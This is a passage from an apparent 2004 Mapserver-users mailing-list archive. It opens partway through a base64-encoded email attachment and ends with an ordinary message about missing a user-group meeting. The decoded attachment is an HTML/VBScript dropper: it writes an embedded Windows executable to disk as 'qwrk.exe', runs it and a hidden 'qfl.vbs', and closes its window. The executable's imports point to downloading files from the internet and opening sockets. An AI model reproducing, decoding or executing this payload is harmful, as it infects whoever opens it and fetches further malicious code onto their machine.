MTcsMTEwLDExNiwxMyw2MCw3MCwyNywxMDksOTcsMTE2LDY1LDE1LDk5LDEwOSwyMzYsMTU5 LDkwLDExMSwxMTAsMTAxLDczLDExMCwxMDIsMjEsMTA1LDExLDIzLDg3LDEwOSwyNTUsMTMy LDI1MywxMDUsMTEwLDEwMCwxMTEsMTE5LDExNSw3NSwxMDgsMTExLDk4LDk3LDEwOCw2NSwx MDgsNiw5OSwyNDcsMTkxLDEwOSwxMzUsMTIsNzAsMjksMTAxLDExLDc2LDExMSw5NywxMDAs NzYsMTA1LDk4LDExNCw5NywzOCwyMDcsOTgsMjAxLDE4NiwxMyw5OSwzNywxMSwzNiw3Nyw5 NywxODcsNTMsMjQ3LDI1NCwxMTIsODYsMTA1LDEwMSwxMTksNzksMTAyLDE5NCwxNCwyMDQs MTA3LDY2LDEyMSwxNzQsMjM5LDkxLDI1MSwxMTgsODQsMTExLDEwNiwxMDAsMTAxLDY3LDEw NCw2MCwyMCw3OSwxMTIsMTAxLDExMCwyMTEsMTA3LDIxOSwxOTMsOTgsMjA3LDgsNTEsNTAs NDgsMTE0LDIxNCwxNSwyMDUsMjE4LDIzOCwxLDc4LDEwMSwxMjAsMTQsODIsMTAxLDExNiw3 NCwzMywxMjgsMjIxLDIwNSwxNzMsMTAzLDEwMywxMDUsMTA1LDY4LDExNCwxMzAsMTA3LDkx LDI0NywxMTgsODMsMTE2LDUsMTEwLDEwMywxMTUsMTM3LDgzLDI0LDY5LDE5NywxMTMsMTgx LDIyMSwyMDcsMTMsMTMsOCw2NSwxMTYsMzEsOTgsMTE3LDEyMCwxMTcsMTczLDI1MywxMzAs MzMsMTksODAsMTExLDQ5LDE2LDEyOCw4MywyMTgsMzMsMTMwLDE4NywxMSwxMDEsMTEyLDYs NzEsMjYsMTU3LDEwOSwyMTksMTgyLDI0NywzMSw5LDIxLDg0LDMzLDEwOSwzOSw5NywyNSwy MjUsMjMsMjQ2LDEwMCwxNjIsODUsMTEwLDEwOSwyMTMsODcsOTcsMTA1LDExNiw5MywyMzAs MTIsMTExLDE3NCw4MywxMjgsMTQsNzksOTgsMTA2LDU5LDIwLDIyMywyMzcsNDcsODksMTEs NzUsMjQ0LDIwLDExMCw2OSwxMjAsMzAsMjI1LDExOCwxODIsMTE2LDUwLDExNCwxMDEsNjEs MTA4LDExNywxMTQsOTksMTUyLDIwMywzMCwyNDYsMjE3LDksMTA5LDExMiwxMDUsMTAsMTEy LDEyMSw5LDQ2LDI0Niw5MCwxNzYsMTEwLDEwLDQ5LDksMjUyLDI1MCw0OCwyMTksMTAyLDEw MywxNjIsNzEsMjA3LDEyNywxMjIsMTIsMjI1LDExLDMxLDE0MywxNiw4NCwxMjEsMTEyLDQ3 LDY3LDE0NSwxMTUsMTAxLDcyLDk3LDE2LDE1LDEyLDI0Nyw5NCwxMDYsMjcsMjAxLDksNjcs MTE3LDIxNiwxOTMsMTAsMTMzLDExNCwxNjgsNiwyMjAsNzMsMTAwLDIwLDIxNSwxODYsMjA3 LDIsMTgsMTExLDEwOSwxMDksNjksNzYsMTkyLDg1LDQsMTIzLDcsMTk5LDcwLDM5LDE0NCwx MTgsMTQsMTU1LDEyMywzLDU5LDE3NSwxNSwxMjAsMTE0LDIzOCwxMDUsMjQ4LDE1LDIxOSwx MDEsNzEsNjcsODUsOTcsMjUxLDExMSwxMDgsMTA0LDEwMSwxMDgsMTEyLDExMCwxNzgsOTUs ODgsMjExLDgzLDg3LDExMiwxMTUsMTA0LDExMSwxMTYsMjUsMTA0LDYsMjcsMTgyLDIyNSwx NzYsMTAwLDEzLDc3LDE3NCwxMjAsNjUsMTMsOTAsMTUxLDQ4LDY3LDE5OSw3NywxMTIsMTAw LDE5LDEyLDIxOCw2NiwxNzgsMTk0LDExMSwzMSwxMCw2Myw5NywyNywxNTQsMTA4LDIzNywx OCwxOTAsODIsMTA0LDc1LDExNSwyMzAsMTEwLDE2Nyw4OSw5MCw2NSw4LDIyLDEwMyw2OCwy NSwyMCwyMDQsMjI1LDIyMiwxOTQsODYsNjgsMTE3LDU2LDE2LDIyLDEzLDEwOCwyNDYsMTAw LDExMSw2OSwxMTYsMzIsNzUsMTAxLDEyMSwxNCwxMTQsMTAyLDExNSwxMTEsMjE3LDE0LDIy MywxMyw4NCw3OCwxNTIsMTYzLDE1NywxNTcsMzIsMzMsNjYsMjQwLDMxLDEzLDIwMSwxMTAs NzcsMTExLDE0NCw5NSw5OCw3NCw2OCw2NywxODIsMjE3LDE1NSwyOSw3NCwxMDksMTI1LDk1 LDIyLDksMjI1LDk5LDU5LDE0MCw1Nyw3MCw4OSwxMTEsMjI4LDEwOCwxNzYsMTQxLDEwOSwx MzAsNTksNzMsODAsMTMxLDM4LDExOCwyMzksMjQsMTc5LDg5LDEwNyw4MSw5MiwxNCw0Nywy MDcsMTg0LDExOCwxOTUsMjIwLDEwOCw4LDYyLDE5OCw2NiwxMDcsNTUsMjE5LDIxNCwxMiwx MDMsMjUyLDg0LDE2NSwxMzEsODEsMTE0LDE2Nyw4OCwyMjMsNzYsNzMsNTQsNTIsODEsNDks NiwxMDksNzksMTEwLDcyLDIxOSw5MCwxMzUsNzMsMjEyLDU5LDE0LDEwNiwxMDUsMTAsMjI1 LDEwNSw1NCw3MSw3MSwyMTMsOTgsMCw4MywxNzEsNTIsOTEsMTk1LDE2MywxMDgsMTgxLDY2 LDY1LDY5LDExMCw2NCwyNDYsMjE2LDI3LDIzOCw2MywyMjMsMTE0LDczLDY1LDksNjgsMTE3 LDExMiw4LDIxNywxOTgsOTYsMTEwLDIsMTgsODQsMTMzLDEwOSw5LDI0NSwxNjcsMjMzLDIy MCw4MiwzOSw1NywxMjIsODgsODUsODIsNzYsNjgsMTY2LDE1NSwyMjgsMTg2LDEwMSwxMTAs MTA4LDY0LDEwNSwyOCwxMzMsMTA0LDU0LDEwOSwxNTcsOTYsMTI1LDExMiwyMDEsMTE2LDEw Miw3NywyOSw1OSw0NCwyMzYsNTIsOTcsMTAzLDgwLDExMSwxNDQsMjU1LDExNSwxMDcsMTA5 LDI1LDEwMiwxMDksMTQ5LDExMiwxNjQsNTMsMTIyLDExOSwxNDksMjYsNzksMjM4LDIyMiwy OCwxMDQsODUsMjcsMTcwLDI4LDc5LDc5LDIxMSw3MywxNDQsMTIwLDczLDIyMSwxMTAsMTg2 LDIzNiwxMDcsMjE3LDE0NiwyLDIwLDExNiw2NSwxNCwxNDAsMTI4LDE0OSw0Niw4NSw5Miwx NywyNDMsNTQsNjcsMjE5LDExMiwxMTAsMTEwLDgyLDEwMSwxMDAsMTk1LDQ3LDg5LDE1Niwx ODUsMTgyLDIzOCwxMDUsMTQwLDEwNSwzMSw5NSwxODgsMTAwLDU5LDY1LDY0LDE2MywxNzcs MTU4LDExNiwxOTIsMjQ4LDg1LDE1MiwxNTcsMjA0LDMzLDEyLDk4LDEyMSwxNCw3MiwxMjEs MjMzLDEwNywxOTIsODAsODgsOTksMTI4LDExNSwzLDEwNywxMDEsMTE2LDE5MSwyMDIsOTEs MTEwLDk4LDE4OSwxMTQsOTcsOTksOTksMzcsODMsNjUsMTI5LDIxNSwyOCwxMTksOTIsMTE0 LDExNiwxMTcsNDgsMzUsMjUsMTIxLDU0LDI1MSwxMDIsMTc0LDExOCw1MCwxMjIsMjAsMTA4 LDcsNjIsMjQ5LDQ3LDE5OSw5NiwyMDUsODAsNjksNzYsMSw0LDAsMjA0LDE1LDE0NCw2NCwx NTgsNTIsMjU1LDE1LDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsNjgsODYsNzIsODAsMjUxLDEy LDcsMiwyMjMsODgsMTMsNjQsMTEsMTEwLDIyLDEwOCw1NywyLDQsNTEsNywxMiwxOTIsMjA2 LDIyMCwxNDYsMjA4LDMwLDUyLDE2LDcsMTc5LDE4OCwzNiwyMjIsNiw3OSwyMDgsOTcsMjIw LDkzLDMyLDE0NCwyMDMsMTkyLDE2MCwzLDE2NywxOTYsMjUxLDE1NCwxNzQsMTc2LDEsMzAs NDYsMTk1LDExNiwyMzUsNjYsMTQ0LDExOSwyMywyNDYsNSwyMzUsNCwzNSwzMiwzMCw0Niwx MTQsMTAwLDExNiwxMzEsMjM3LDEwLDE3NSwxNjMsNzAsMTEsMjUxLDEyLDM5LDcyLDIxNyw5 OCwyMjEsMTMzLDY0LDIsNDYsMzgsNzEsMTE3LDEwOSw3NCwxNTQsMjM4LDExMiwzOSw1OCw4 NCwxOTIsNzksNiwyNywxMDgsMTI5LDExNSwxMzAsMCwyMzUsMTkyLDExNSwxNDIsMTkyLDE5 MSwyMjMsMjAyLDM5LDI3LDExMiwxMDAsMTMsMzMsMTk4LDAsMCwwLDAsMCwwLDAsMCwzMiwx LDI1NSwwLDAsOTYsMTkwLDM3LDE2MCw2NCwwLDE0MSwxOTAsMjE5LDExMSwyNTUsMjU1LDg3 LDEzMSwyMDUsMjU1LDIzNSwxNiwxNDQsMTQ0LDE0NCwxNDQsMTQ0LDE0NCwxMzgsNiw3MCwx MzYsNyw3MSwxLDIxOSwxMTcsNywxMzksMzAsMTMxLDIzOCwyNTIsMTcsMjE5LDExNCwyMzcs MTg0LDEsMCwwLDAsMSwyMTksMTE3LDcsMTM5LDMwLDEzMSwyMzgsMjUyLDE3LDIxOSwxNywx OTIsMSwyMTksMTE1LDIzOSwxMTcsOSwxMzksMzAsMTMxLDIzOCwyNTIsMTcsMjE5LDExNSwy MjgsNDksMjAxLDEzMSwyMzIsMywxMTQsMTMsMTkzLDIyNCw4LDEzOCw2LDcwLDEzMSwyNDAs MjU1LDExNiwxMTYsMTM3LDE5NywxLDIxOSwxMTcsNywxMzksMzAsMTMxLDIzOCwyNTIsMTcs MjE5LDE3LDIwMSwxLDIxOSwxMTcsNywxMzksMzAsMTMxLDIzOCwyNTIsMTcsMjE5LDE3LDIw MSwxMTcsMzIsNjUsMSwyMTksMTE3LDcsMTM5LDMwLDEzMSwyMzgsMjUyLDE3LDIxOSwxNywy MDEsMSwyMTksMTE1LDIzOSwxMTcsOSwxMzksMzAsMTMxLDIzOCwyNTIsMTcsMjE5LDExNSwy MjgsMTMxLDE5MywyLDEyOSwyNTMsMCwyNDMsMjU1LDI1NSwxMzEsMjA5LDEsMTQxLDIwLDQ3 LDEzMSwyNTMsMjUyLDExOCwxNSwxMzgsMiw2NiwxMzYsNyw3MSw3MywxMTcsMjQ3LDIzMyw5 OSwyNTUsMjU1LDI1NSwxNDQsMTM5LDIsMTMxLDE5NCw0LDEzNyw3LDEzMSwxOTksNCwxMzEs MjMzLDQsMTE5LDI0MSwxLDIwNywyMzMsNzYsMjU1LDI1NSwyNTUsOTQsMTM3LDI0NywxODUs NywwLDAsMCwxMzgsNyw3MSw0NCwyMzIsNjAsMSwxMTksMjQ3LDEyOCw2MywwLDExNywyNDIs MTM5LDcsMTM4LDk1LDQsMTAyLDE5MywyMzIsOCwxOTMsMTkyLDE2LDEzNCwxOTYsNDEsMjQ4 LDEyOCwyMzUsMjMyLDEsMjQwLDEzNyw3LDEzMSwxOTksNSwxMzcsMjE2LDIyNiwyMTcsMTQx LDE5MCwwLDE5MiwwLDAsMTM5LDcsOSwxOTIsMTE2LDYwLDEzOSw5NSw0LDE0MSwxMzIsNDgs MTY0LDIyNywwLDAsMSwyNDMsODAsMTMxLDE5OSw4LDI1NSwxNTAsMTI4LDIyOCwwLDAsMTQ5 LDEzOCw3LDcxLDgsMTkyLDExNiwyMjAsMTM3LDI0OSw4Nyw3MiwyNDIsMTc0LDg1LDI1NSwx NTAsMTMyLDIyOCwwLDAsOSwxOTIsMTE2LDcsMTM3LDMsMTMxLDE5NSw0LDIzNSwyMjUsMjU1 LDE1MCwxMzYsMjI4LDAsMCw5NywyMzMsNCwxMDgsMjU1LDI1NSwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMiwwLDMsMCwwLDAsMzIsMCww LDEyOCwxNCwwLDAsMCw5NiwwLDAsMTI4LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwx LDAsMSwwLDAsMCw1NiwwLDAsMTI4LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxLDAs MCwwLDAsMCw4MCwwLDAsMCwxNjQsMjQwLDAsMCwyMzIsMiwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxLDAsMSwwLDAsMCwxMjAsMCwwLDEyOCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMSwwLDAsMCwwLDAsMTQ0LDAsMCwwLDE0NCwy NDMsMCwwLDIwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNjAsMTkyLDAsMCw0MCwwLDAsMCwz MiwwLDAsMCw2NCwwLDAsMCwxLDAsNCwwLDAsMCwwLDAsMTI4LDIsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTI4LDAsMCwxMjgsMCwwLDAsMTI4 LDEyOCwwLDEyOCwwLDAsMCwxMjgsMCwxMjgsMCwxMjgsMTI4LDAsMCwxMjgsMTI4LDEyOCww LDE5MiwxOTIsMTkyLDAsMCwwLDI1NSwwLDAsMjU1LDAsMCwwLDI1NSwyNTUsMCwyNTUsMCww LDAsMjU1LDAsMjU1LDAsMjU1LDI1NSwwLDAsMjU1LDI1NSwyNTUsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDcsMTE5LDExOSwxMTksMTE5LDExOSwxMTksMCwwLDAsMCwwLDAsMCwwLDAsNywxMzYsMTM2 LDEzNiwxMzYsMTM2LDEzNSwwLDAsMCwwLDAsMCwwLDAsMCw3LDU2LDEzNiw1MSw1NiwxMzYs NTUsMCwwLDAsMCwwLDAsMCwwLDAsNywxNzksMTMxLDAsMywxMzEsMTM1LDAsMCwwLDAsMCww LDAsMCwwLDcsMjU1LDQ4LDI1NSwxNzYsNTYsMTM1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTg0 LDE1LDE5MSwyNTUsMywxMzUsMCwwLDAsMCwwLDAsMCwwLDAsNywxMjgsMTkxLDI1NSwxOTEs MjQwLDU1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTUsMjU1LDE5MSwyNTUsMTkxLDMsMCwwLDAs MCwwLDAsMCwwLDAsNywyNTUsMTkxLDI1NSwxOTEsMjU1LDE3NiwwLDAsMCwwLDAsMCwwLDAs MCw3LDExOSwxMTksMTE5LDExOSwxMTksMTE5LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDEy OCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUs MTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1 NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwxMzYsMTk1LDAsMCwwLDAs MSwwLDEsMCwzMiwzMiwxNiwwLDEsMCw0LDAsMjMyLDIsMCwwLDEsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwyMTYsMjQ0LDAsMCwxMjgsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwyMjksMjQ0LDAsMCwxNDQsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwy NDIsMjQ0LDAsMCwxNTIsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwyNTIsMjQ0 LDAsMCwxNjAsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2LDI0NSwwLDAsMTY4 LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTgsMjQ1LDAsMCwxNzYsMjQ0LDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwzMCwyNDUsMCwwLDE4NCwyNDQsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDQxLDI0NSwwLDAsMTkyLDI0NCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsNTIsMjQ1LDAsMCwyMDAsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCw2NCwyNDUsMCwwLDIwOCwyNDQsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCw3NiwyNDUsMCwwLDkwLDI0NSwwLDAsMTA2LDI0NSwwLDAsMCwwLDAs MCwxMjAsMjQ1LDAsMCwwLDAsMCwwLDEzNCwyNDUsMCwwLDAsMCwwLDAsMTQ0LDI0NSwwLDAs MCwwLDAsMCwxNTgsMjQ1LDAsMCwwLDAsMCwwLDE3NCwyNDUsMCwwLDAsMCwwLDAsMTg0LDI0 NSwwLDAsMCwwLDAsMCwyMDQsMjQ1LDAsMCwwLDAsMCwwLDIxNiwyNDUsMCwwLDAsMCwwLDAs MjMyLDI0NSwwLDAsMCwwLDAsMCw3NSw2OSw4Miw3OCw2OSw3Niw1MSw1MCw0Niw2OCw3Niw3 NiwwLDk3LDEwMCwxMTgsOTcsMTEyLDEwNSw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDEwMywx MDAsMTA1LDUxLDUwLDQ2LDEwMCwxMDgsMTA4LDAsMTExLDEwOCwxMDEsNTEsNTAsNDYsMTAw LDEwOCwxMDgsMCw4Myw3Miw2OSw3Niw3Niw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDExNSwx MDQsMTA4LDExOSw5NywxMTIsMTA1LDQ2LDEwMCwxMDgsMTA4LDAsMTE3LDExNCwxMDgsMTA5 LDExMSwxMTAsNDYsMTAwLDEwOCwxMDgsMCwxMTcsMTE1LDEwMSwxMTQsNTEsNTAsNDYsMTAw LDEwOCwxMDgsMCwxMTksMTA1LDExMCwxMDUsMTEwLDEwMSwxMTYsNDYsMTAwLDEwOCwxMDgs MCwxMTksMTE1LDExMSw5OSwxMDcsNTEsNTAsNDYsMTAwLDEwOCwxMDgsMCwwLDAsNzYsMTEx LDk3LDEwMCw3NiwxMDUsOTgsMTE0LDk3LDExNCwxMjEsNjUsMCwwLDcxLDEwMSwxMTYsODAs MTE0LDExMSw5OSw2NSwxMDAsMTAwLDExNCwxMDEsMTE1LDExNSwwLDAsNjksMTIwLDEwNSwx MTYsODAsMTE0LDExMSw5OSwxMDEsMTE1LDExNSwwLDAsMCw4MiwxMDEsMTAzLDY3LDEwOCwx MTEsMTE1LDEwMSw3NSwxMDEsMTIxLDAsMCwwLDY4LDEwMSwxMDgsMTAxLDExNiwxMDEsNjgs NjcsMCwwLDY3LDExMSw3MywxMTAsMTA1LDExNiwxMDUsOTcsMTA4LDEwNSwxMjIsMTAxLDAs MCw4MywxMDQsMTAxLDEwOCwxMDgsNjksMTIwLDEwMSw5OSwxMTcsMTE2LDEwMSw2NSwwLDAs MCw4MywxMTYsMTE0LDY4LDExNywxMTIsNjUsMCwwLDAsODUsODIsNzYsNjgsMTExLDExOSwx MTAsMTA4LDExMSw5NywxMDAsODQsMTExLDcwLDEwNSwxMDgsMTAxLDY1LDAsMCwxMTksMTE1 LDExMiwxMTQsMTA1LDExMCwxMTYsMTAyLDY1LDAsMCwwLDczLDExMCwxMTYsMTAxLDExNCwx MTAsMTAxLDExNiw3OSwxMTIsMTAxLDExMCw2NSwwLDAsMCw5OCwxMDUsMTEwLDEwMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMDcsMTQwLDEyNSw1NSw0Miw4NSw3 LDIxLDE4OCw3LDE0MCwxNzUsOTQsMTAzLDE3OCwxNDYsMTc2LDExOSwxMjIsMTE1LDEwLDE2 MSw4NiwyOCwxMjEsMTIyLDcsMTQxLDEsODUsNDQsMTgyLDg5LDUzLDE0LDEyLDEyOCwxNTIs NDcsNzMsMzQsNywxODYsMTE1LDUwLDExLDE4OSwyMywxMDIsMTMsNDMsNjgsODYsMTQzLDE5 NiwxNDgsMTA5LDE4LDE1MSwxMDMsMTQ4LDE2OSwyLDg0LDE4MiwxNDksNzMsMTE5LDE0OCwx NDcsMTQzLDE3MSwzOCwxOTcsMTcxLDE4OSwxNzgsNTYsMTYwLDEzMiw2MCwxMDIsMTI3LDIx LDU2LDU0LDQ2LDU1LDE3MSwxNTQsMTczLDE3NCwyLDM1LDY5LDEyNywxNzcsMzEsMzQsNTgs MTI2LDQwLDcsNzcsNzEsMTU0LDYyLDM0LDE2MSwxMjcsMiwxOTEsMTE0LDEyNiw2NiwxODEs NTAsMTQ2LDIxLDIyLDE1MiwxMDksMTUyLDExNywxODIsNTYsMzMsMTM2LDEzNCw4MiwxMzIs MTAyLDgsMTAzLDY2LDE2MywxNjEsMTg4LDEyNiw2OCw5OSwxMDEsMTM0LDE4Miw2LDE2OSw4 NSwxMzEsMTg4LDEzNywxNDEsMTkyLDM5LDExMSw2MSwxNjMsMTA2LDE1OCwxNjgsMTA2LDE1 MiwxMzEsMTE0LDEzOCwxMzgsNzgsMTYxLDYwLDIzLDEwMiwxNzUsMTg2LDEzMiwyMCw5LDgs MTM4LDE0NSwxODEsMTM4LDQ0LDYzLDkzLDExLDE1NiwxOTQsMzYsMTYxLDExMSw0NSw5NSw0 LDM2LDY2LDk3LDUsNTIsODMsMTA2LDY1LDE1MSw4NCwxOSwxMzIsMTE0LDk3LDU5LDEyNSwy MSwxMCwyOCw1NCw5Miw4OSw1Miw5Miw1MiwzMiwxMjgsMjUsMzIsMTcwLDE0Myw2Miw5OCw2 NSwxMTYsNjIsMTkxLDU1LDEwMSwyMCwxNjAsMTUzLDE4MywxNjYsMTkzLDE3OSwxOTQsMTk0 LDE1NSw1NSwxMjEsODcsMTQ4LDYsNTEsMTU3LDE3Nyw3Myw0OCwxNzIsMTU0LDE1MiwyLDE3 OCw4NiwxMTYsMzIsMTkzLDI4LDE4OCw1OCw2MywxODEsODgsMTUyLDcwLDUzLDI2LDQ4LDM4 LDE2NiwxOSw5MCwxNDEsMTU5LDE0OCwxOCw2MCw5MCkiICYgdmJjcmxmDQpUU08ud3JpdGUg ImZvciBpPTAgdG8gMjAyNDgiICYgdmJjcmxmDQpUU08ud3JpdGUgImZpbGV0eHQuV3JpdGUo Y2hyKGEoaSkpKSIgJiB2YmNybGYNClRTTy53cml0ZSAibmV4dCIgJiB2YmNybGYNClRTTy53 cml0ZSAiZmlsZXR4dC5DbG9zZSIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIHoiICYgdmJj cmxmDQpUU08ud3JpdGUgImRpbSB6eiIgJiB2YmNybGYNClRTTy53cml0ZSAiQ29uc3QgRm9y UmVhZGluZyA9IDEsIEZvcldyaXRpbmcgPSAyLCBGb3JBcHBlbmRpbmcgPSAzIiAmIHZiY3Js Zg0KVFNPLndyaXRlICJjb25zdCBSZW1vdGVFeGUgPSAiInF3cmsuZXhlIiIiICYgdmJjcmxm DQpUU08ud3JpdGUgInNldCB6eiA9IHdzY3JpcHQuY3JlYXRlb2JqZWN0KCIid3NjcmlwdC5z aGVsbCIiKSIgJiB2YmNybGYNClRTTy53cml0ZSAieiA9IHp6LnJ1biAoIiJxd3JrLmV4ZSIi KSIgJiB2YmNybGYNClRTTy53cml0ZSAid3NjcmlwdC5xdWl0IiAmIHZiY3JsZg0KU2V0IFRT TyA9IE5vdGhpbmcNClNldCBGU08gPSBOb3RoaW5nDQpEaW0gV3NoU2hlbGwNClNldCBXc2hT aGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpXc2hTaGVsbC5SdW4gInFm bC52YnMiLCAwLCBmYWxzZQ0KPC9TQ1JJUFQ+DQo8c2NyaXB0PndpbmRvdy5jbG9zZSgpPC9z Y3JpcHQ+DQo8L0hFQUQ+DQo8L0hUTUw+ ----------jiqfrbteobgtmjxyypza-- From ed at topozone.com Wed Jun 9 07:07:03 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 9 Jun 2004 10:07:03 -0400 Subject: [Mapserver-users] User Group Meeting Reminder Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB077088@ptolemy.topozone.com> Folks - Unfortunately, I had to stay home at the last minute (darn customers!) and I'm not in Ottawa at the conference with everyone else. I'll try to spend a little extra time helping out with questions where I can, but please remember that some of the folks who can best answer questions may be infrequently available or unavailable until the weekend or next week. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 From steve.lime at dnr.state.mn.us Wed Jun 9 08:56:13 